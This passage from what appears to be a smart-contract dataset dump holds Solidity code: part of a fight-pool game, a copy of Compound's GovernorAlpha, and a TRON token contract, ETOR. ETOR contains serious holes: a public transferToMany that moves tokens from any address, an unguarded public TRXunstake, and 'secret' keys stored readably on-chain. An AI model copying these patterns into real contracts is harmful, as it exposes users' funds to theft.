if (deathScoreA < deathScoreB) {
uint damageRatio = cal((DECIMALS * deathScoreA) / deathScoreB);
attackersIndex[_uniqueId].lp = cal((timeRatio * attackersIndex[_uniqueId].lp) / DECIMALS); // "_uniqueId" unit lp is just his lp * the time ratio because if the ratio were "1", he was killed
attackersIndex[_unitCurrentlyAttacked].lp = cal((damageRatio * timeRatio * attackersIndex[_unitCurrentlyAttacked].lp) / (DECIMALS * DECIMALS));
} else {
uint damageRatio = cal((DECIMALS * deathScoreB) / deathScoreA);
attackersIndex[_uniqueId].lp = cal((damageRatio * timeRatio * attackersIndex[_uniqueId].lp) / (DECIMALS * DECIMALS)); // "_uniqueId" unit lp is just his lp * the time ratio because if the ratio were "1", he was killed
attackersIndex[_unitCurrentlyAttacked].lp = cal((timeRatio * attackersIndex[_unitCurrentlyAttacked].lp) / DECIMALS);
}
} else if (attackersIndex[_uniqueId].predictedDeathTime <= block.timestamp) {
revert("Unit already dead");
}
attackers[_poolId].removeFromElement(_uniqueId);
// reset values ..
referenceTreeAttackers[_contractReference][_tokenIdReference] = 0;
deployedUnitPerAddress[_poolId][msg.sender]--;
currentAttackersNumber[_poolId]--;
poolIdReference[_uniqueId] = 0;
}
// get current unit who the unit "_uniqueId" is attacking at timestamp "_timestamp"
function getUnitAttackedForUniqueIdAndTimestamp(uint _poolId, uint _uniqueId, uint _timestamp) public view returns (uint attackingUnit) {
// if the unit is currently fighting (or at least in the pool fight and not dead)
if (attackersIndex[_uniqueId].fightEntry <= _timestamp && (attackersIndex[_uniqueId].predictedDeathTime > _timestamp || attackersIndex[_uniqueId].predictedDeathTime == 0)) {
uint winningUnit = getWinningUnitFromTimestamp(_poolId, _timestamp); // get the current possesor of the fight pool at "_timestamp"
if (winningUnit == _uniqueId) { // if "uniqueId" unit is possesing the pool, it can only be attacking the next attacker to arrive
uint[] memory _areaFightPools;
uint _id;
(_areaFightPools, _id) = attackers[_poolId].getElementIndex(_uniqueId) ;
for (uint i=_id; i < _areaFightPools.length - 1; i++) {
if (attackersIndex[_areaFightPools[i+1]].fightEntry <= _timestamp && attackersIndex[_areaFightPools[i+1]].predictedDeathTime > _timestamp) { // if the next attacker is fighting, it's the current unit attacked ..
attackingUnit = _areaFightPools[i+1];
break;
}
}
} else { // else, it is just in fight with the current pool possesor
attackingUnit = winningUnit;
}
}
}
function getWinningUnitFromTimestamp(uint _poolId, uint _timestamp) public view returns (uint) {
if (currentAttackersNumber[_poolId] == 0) {
return 0;
}
uint[] memory _areaFightPools = attackers[_poolId].getWholeArray();
for (uint n=0; n < _areaFightPools.length; n++) {
if (n == 0 && attackersIndex[_areaFightPools[n]].fightEntry <= _timestamp && attackersIndex[_areaFightPools[n]].predictedDeathTime >= _timestamp) {
return _areaFightPools[n];
}
else if (attackersIndex[_areaFightPools[n]].fightEntry + FIGHT_TIME <= _timestamp && (attackersIndex[_areaFightPools[n]].predictedDeathTime >= _timestamp || attackersIndex[_areaFightPools[n]].predictedDeathTime == 0)) {
return _areaFightPools[n];
}
}
}
// update attacker pool to remove dead attackers (at block.timestamp)
function updateAttackerPool(uint _poolId) internal {
uint[] memory _areaFightPools = attackers[_poolId].getWholeArray();
for (uint i=0; i < _areaFightPools.length; i++) {
// if he is already dead
if (attackersIndex[_areaFightPools[i]].predictedDeathTime < block.timestamp && attackersIndex[_areaFightPools[i]].predictedDeathTime != 0) {
attackers[_poolId].removeFromElement(_areaFightPools[i]);
currentAttackersNumber[_poolId]--;
}
}
}
function get() public view returns (uint[] memory) {
return attackers[0].getWholeArray();
}
function cal(uint _a) public pure returns (uint) {
return _a;
}
function _update(uint _poolId) public {
updateAttackerPool(_poolId);
uint[] memory _attackersUniqueIds = attackers[_poolId].getWholeArray();
uint[] memory _lps = _getLpsFromUniqueIds(_attackersUniqueIds);
uint time;
uint deathScoreA;
uint deathScoreB;
uint winningUnitLp = attackersIndex[_attackersUniqueIds[0]].lp;
uint winningUnitUniqueId = _attackersUniqueIds[0];
for (uint i=1; i < _attackersUniqueIds.length; i++) {
cal(i);
deathScoreA = cal(winningUnitLp / attackersIndex[_attackersUniqueIds[i]].dmg);
deathScoreB = cal(_lps[i] / attackersIndex[winningUnitUniqueId].dmg);
time = cal(attackersIndex[_attackersUniqueIds[i]].fightEntry) + FIGHT_TIME;
if (deathScoreB > deathScoreA) { // Attacker B win
attackersIndex[winningUnitUniqueId].predictedDeathTime = time; // store the predicted death time value
attackersIndex[winningUnitUniqueId].killedByUniqueId = cal(_attackersUniqueIds[i]);
_lps[i] = cal(((DECIMALS - ((deathScoreA * DECIMALS) / (deathScoreB))) * _lps[i]) / DECIMALS);
winningUnitUniqueId = cal(_attackersUniqueIds[i]); // update the final pool possesor (at this moment)
winningUnitLp = cal(_lps[i]);
} else { // Attacker A win
attackersIndex[_attackersUniqueIds[i]].predictedDeathTime = time; // store the predicted death time value
attackersIndex[_attackersUniqueIds[i]].killedByUniqueId = cal(winningUnitUniqueId);
winningUnitLp = cal(((DECIMALS - ((deathScoreB * DECIMALS) / (deathScoreA))) * winningUnitLp) / DECIMALS);
}
if (time > lastDeathTime[_poolId]) {
lastDeathTime[_poolId] = time;
}
}
}
function getFightEntryElement(uint _fightEntry, uint _poolId) public view returns (bool, uint) {
uint[] memory _areaFightPools = attackers[_poolId].getWholeArray();
// not initialized, so the index doesn't matter
if (_areaFightPools.length == 0) {
return (true, 0);
}
for (uint i=0; i < _areaFightPools.length; i++) {
if (i == 0 && attackersIndex[_areaFightPools[i]].fightEntry > _fightEntry) { // if the first element is higher than _fightEntry, we can place it directly as the first element
return (false, _areaFightPools[i]);
}
if (i != (_areaFightPools.length - 1)) { // if we can have ("i+1")
if (attackersIndex[_areaFightPools[i]].fightEntry <= _fightEntry && attackersIndex[_areaFightPools[i+1]].fightEntry >= _fightEntry) {
return (true, _areaFightPools[i]);
}
} else { // else, this is the last index, place it "before the last if it's smaller than the last
if (attackersIndex[_areaFightPools[i]].fightEntry >= _fightEntry) {
return (false, _areaFightPools[i]);
}
}
}
// else, its index is the last index
return (true, _areaFightPools[_areaFightPools.length-1]);
}
// return all "lp" value of a whole array
function _getLpsFromUniqueIds(uint[] memory _attackersUniqueIds) public view returns (uint[] memory) {
uint[] memory _lps = new uint[](_attackersUniqueIds.length);
for (uint i=0; i < _attackersUniqueIds.length; i++) {
_lps[i] = attackersIndex[_attackersUniqueIds[i]].lp;
}
return _lps;
}
function isDead(address _contractReference, uint _tokenIdReference, uint _timestamp) external view returns (bool) {
uint _predictedDeathTime = attackersIndex[referenceTreeAttackers[_contractReference][_tokenIdReference]].predictedDeathTime;
return (_predictedDeathTime < _timestamp);
}
function isFighting(address _contractReference, uint _tokenIdReference, uint _timestamp) external view returns (bool) {
return (lastDeathTime[referenceTreeAttackers[_contractReference][_tokenIdReference]] != 0 && _timestamp < lastDeathTime[referenceTreeAttackers[_contractReference][_tokenIdReference]]);
}
// return 0 if this reference doesn't have death time (not initialized or won the fight)
function getDeathTime(address _contractReference, uint _tokenIdReference) external view returns (uint) {
return attackersIndex[referenceTreeAttackers[_contractReference][_tokenIdReference]].predictedDeathTime;
}
function getPoolId(address _contractReference, uint _tokenIdReference) public view returns (uint) {
return poolIdReference[referenceTreeAttackers[_contractReference][_tokenIdReference]];
}
}
| 125,102 | 12,452 |
d0ce5f437c94d9f35874476593fc8a8ee6f2390c0765d9dcf467ea7fc8050f49
| 15,304 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/28/281952b6819Ad8F81DC07F535982FB86C1a6cdca_GovernorAlpha.sol
| 3,448 | 14,515 |
pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Compound Governor Alpha";
function quorumVotes() public pure returns (uint) { return 4000000e18; } // 4% of fry
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 50000e18; } // 0.05% of fry
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
uint public votingDelay;
/// @notice The duration of voting on a proposal, in blocks
uint public votingPeriod;
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
CompInterface public comp;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address comp_, address guardian_, uint votingPeriod_, uint votingDelay_) public {
timelock = TimelockInterface(timelock_);
comp = CompInterface(comp_);
guardian = guardian_;
votingPeriod = votingPeriod_;
votingDelay = votingDelay_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay);
uint endBlock = add256(startBlock, votingPeriod);
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = comp.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
| 59,702 | 12,453 |
9c9cbf52e7582ee0654495ab394bd6a735e2a8dab2c53658650e64fade15a226
| 18,305 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TCv6YN118fVxiXcBUSgQ3UyStu5A2Jb1at_ETOR.sol
| 4,103 | 15,471 |
//SourceUnit: solidity-v3.sol
pragma solidity >=0.5.4 < 0.6.0;
contract ReserveTokenContract {
string public name;
constructor() public {
name = 'ReserveTokenCon';
}
}
contract BuyerSwapperContract {
string public name;
constructor() public {
name = 'BuyerSwapperCont';
}
}
contract StakerContract{
string public name;
constructor() public {
name = 'StakeCont';
}
}
contract TRXStakerContract{
string public name;
constructor() public {
name = 'TRXStakeCont';
}
event TRXUnstakedEvent(address _staker,uint256 amount);
function TRXunstake(uint256 amount,address _to) public payable {
// send the token from sender to staker
address(uint160(_to)).transfer(amount);
emit TRXUnstakedEvent(_to,amount);
}
}
contract ETOR {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
event Bought(uint256 amount);
event Sold(uint256 amount);
event staked(address _staker,uint256 amount);
event TRXStakedEvent(address _staker,uint256 amount);
event OwnershipTransferred(address indexed _from, address indexed _to);
BuyerSwapperContract public BYSWCon;
StakerContract public StakeTokenCon;
TRXStakerContract public TRXStakerCon;
ReserveTokenContract public ReserveTokenCon;
address public owner;
address public newOwner;
address public RoiOwner;
uint256 public token_rate;
uint256 public swap_fees;
uint256 public RoiOwnerPercent;
uint256 public unstakeFee; // fees in percent
uint256 private key;
uint256 private referralKey;
uint256 private matchingRoiKey;
uint256 private unstakeKey;
uint256 private reserveTokenkey;
address public TRXStaker;
modifier onlyOwner {
require(msg.sender == owner,'Invalid Owner!');
_;
}
modifier onlyRoiOwner {
require(msg.sender == RoiOwner,'Invalid ROI Owner!');
_;
}
modifier onlyAuthorized(uint256 _key) {
require(key == _key,'Invalid key!');
_;
}
modifier onlyreferralAuthorized(uint256 _key) {
require(referralKey == _key,'Invalid key!');
_;
}
modifier onlyMatchingRoiAuthorized(uint256 _matchingRoiKey) {
require(matchingRoiKey == _matchingRoiKey,'Invalid key!');
_;
}
modifier onlyUnstakeAuthorized(uint256 _unstakeKey) {
require(unstakeKey == _unstakeKey,'Invalid key!');
_;
}
modifier onlyreserveTokenkeyAuthorized(uint256 _reserveTokenkey) {
require(reserveTokenkey == _reserveTokenkey,'Invalid key!');
_;
}
mapping(address=>uint256) public totalStaked;
mapping(address=>uint256) public totalTRXStaked;
uint256 initialSupply = 1000000000;
string tokenName = "ETOR";
string tokenSymbol = "ETOR";
constructor(address _TRXStaker,address _owner,uint256 _key,uint256 _referralKey,uint256 _matchingRoiKey,uint256 _unstakeKey,uint256 _reserveTokenkey,address _RoiOwner) public {
BYSWCon = new BuyerSwapperContract();
StakeTokenCon = new StakerContract();
TRXStakerCon = new TRXStakerContract();
ReserveTokenCon = new ReserveTokenContract();
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
// balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
balanceOf[address(BYSWCon)] = totalSupply*50/100;
balanceOf[address(StakeTokenCon)] = totalSupply*50/100;
// balanceOf[address(ReserveTokenCon)] = totalSupply*20/100;
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
TRXStaker = _TRXStaker;
owner = _owner;
token_rate = 200000000;
swap_fees = 1;
unstakeFee = 10;
key = _key;
RoiOwner = _RoiOwner;
RoiOwnerPercent = 1;
referralKey = _referralKey;
matchingRoiKey = _matchingRoiKey;
unstakeKey = _unstakeKey;
reserveTokenkey = _reserveTokenkey;
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0000000000000000000000000000000000000000);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function _transferToMany(address _from, address[] memory _tos, uint _totalValue,uint[] memory _values) internal {
// Prevent transfer to 0x0 address. Use burn() instead
// Check if the sender has enough
require(balanceOf[_from] >= _totalValue,'No enough tokens!');
// applying the loop
for(uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
uint _value = _values[i];
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
}
function transferToMany(address _sender,address[] memory _to, uint _totalValue, uint[] memory _value) public returns (bool success) {
_transferToMany(_sender, _to,_totalValue, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function transferRoiOwnership(address _RoiOwner) public onlyRoiOwner {
RoiOwner = _RoiOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function changeKey(uint256 _key) public onlyOwner {
key = _key;
}
function changeName(string memory _name) public onlyOwner {
name = _name;
tokenName = _name;
}
function changeSymbol(string memory _symbol) public onlyOwner {
symbol = _symbol;
tokenSymbol = symbol;
}
function changeReferralKey(uint256 _key) public onlyOwner {
referralKey = _key;
}
function changeUnstakekey(uint256 _key) public onlyOwner {
unstakeKey = _key;
}
function changeReserveTokenkeykey(uint256 _key) public onlyOwner {
reserveTokenkey = _key;
}
function changeTokenRate(uint256 _token_rate) public onlyOwner {
token_rate = _token_rate;
}
function buy(uint256 _token,address _reciever) public payable{
uint256 amountTobuy = _token;
uint256 dexBalance = balanceOf[address(BYSWCon)];
require(amountTobuy > 0, "You need to send some Ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
address(uint160(RoiOwner)).transfer(msg.value*RoiOwnerPercent/200);
}
function transferTokenBuy(uint256 _key, uint256 _token,address _reciever) public payable onlyRoiOwner onlyAuthorized(_key){
uint256 amountTobuy = _token;
uint256 dexBalance = balanceOf[address(BYSWCon)];
require(amountTobuy > 0, "You need to send some Ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
// transfer(_reciever, amountTobuy);
_transfer(address(BYSWCon), _reciever, amountTobuy);
emit Bought(amountTobuy);
}
function swap(uint256 amount,address _reciever) public payable {
require(amount > 0, "You need to sell at least some tokens");
uint256 senderBalance = balanceOf[address(_reciever)];
require(senderBalance >= amount, "Sender token balance is low");
// send the token
_transfer(msg.sender,address(BYSWCon), amount);
}
function swapTrx(uint256 _key,uint256 _TrxAmount,address _reciever) public payable onlyRoiOwner onlyAuthorized(_key){
require(_TrxAmount <= address(this).balance, "Contract balance is low");
address(uint160(_reciever)).transfer(_TrxAmount);
emit Sold(_TrxAmount);
}
function ownertrnasfertTrx(uint256 _TrxAmount) public payable onlyOwner{
require(_TrxAmount <= address(this).balance, "Contract balance is low");
(msg.sender).transfer(_TrxAmount);
emit Sold(_TrxAmount);
}
function withdrawTrx(uint256 _TrxAmount,address _reciever) public payable onlyOwner{
require(_TrxAmount <= address(this).balance, "Contract balance is low");
address(uint160(_reciever)).transfer(_TrxAmount);
}
function stake(uint256 amount,address _to) public payable {
require(amount > 0, "You need to stake at least some tokens");
uint256 senderBalance = balanceOf[_to];
require(senderBalance >= amount, "Sender token balance is low");
// send the token from sender to staker
_transfer(msg.sender,address(StakeTokenCon), amount);
if(totalStaked[_to]>=0){
totalStaked[_to] = totalStaked[_to]+amount;
}else{
totalStaked[_to] = amount;
}
emit staked(_to,amount);
}
function TRXStake(address _to) public payable {
require(msg.value > 0, "You need to stake at least some TRX");
// send the token from sender to staker
address(uint160(TRXStaker)).transfer(msg.value);
if(totalTRXStaked[_to]>=0){
totalTRXStaked[_to] = totalTRXStaked[_to]+msg.value;
}else{
totalTRXStaked[_to] = msg.value;
}
emit TRXStakedEvent(_to,msg.value);
}
function unstake(uint256 _key,uint256 amount,address _to) public payable onlyRoiOwner onlyUnstakeAuthorized(_key) {
require(amount > 0, "You need to unstake at least some tokens");
uint256 senderTotalStaked = totalStaked[_to];
require(senderTotalStaked >= amount, "Sender token balance is low");
// uint256 returnAmount = amount- amount*unstakeFee/100;
uint256 returnAmount = amount;
// send the token from staker to sender
_transfer(address(StakeTokenCon),_to, returnAmount);
totalStaked[_to] = totalStaked[_to]-amount;
emit staked(_to,amount);
}
function TRXunstake(uint256 _key,uint256 amount,address _to) public payable onlyRoiOwner onlyUnstakeAuthorized(_key) {
require(amount > 0, "You need to unstake at least some TRX");
uint256 senderTotalStaked = totalTRXStaked[_to];
require(senderTotalStaked >= amount, "Sender TRX balance is low");
// uint256 returnAmount = amount- amount*unstakeFee/100;
uint256 returnAmount = amount;
// send the token from staker to sender
TRXStakerCon.TRXunstake(returnAmount,_to);
totalTRXStaked[_to] = totalTRXStaked[_to]-amount;
}
// Send the referral commission
function transferReferralComm(uint256 _referralKey, address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyreferralAuthorized(_referralKey)returns (bool success) {
transferToMany(address(StakeTokenCon), _to,_totalValue, _value);
return true;
}
// Send the matching commission and roi
function transferMatchingCommAndRoi(uint256 _matchingRoiKey,address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyMatchingRoiAuthorized(_matchingRoiKey) returns (bool success) {
transferToMany(address(StakeTokenCon), _to,_totalValue, _value);
return true;
}
// / Send the reserve token
function transferReserveToken(uint256 _ReserveTokenkey, address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyreserveTokenkeyAuthorized(_ReserveTokenkey) returns (bool success) {
transferToMany(address(ReserveTokenCon), _to,_totalValue, _value);
return true;
}
function balanceOfToken(address tokenOwner) public view returns (uint256) {
return balanceOf[tokenOwner];
}
function balanceOfContract() public view returns (uint256) {
return address(this).balance;
}
}
| 304,034 | 12,454 |
33e9a2465c937b3129898d6a2c343dabf5c3e0d47e27926f1dca598bd098333a
| 15,488 |
.sol
|
Solidity
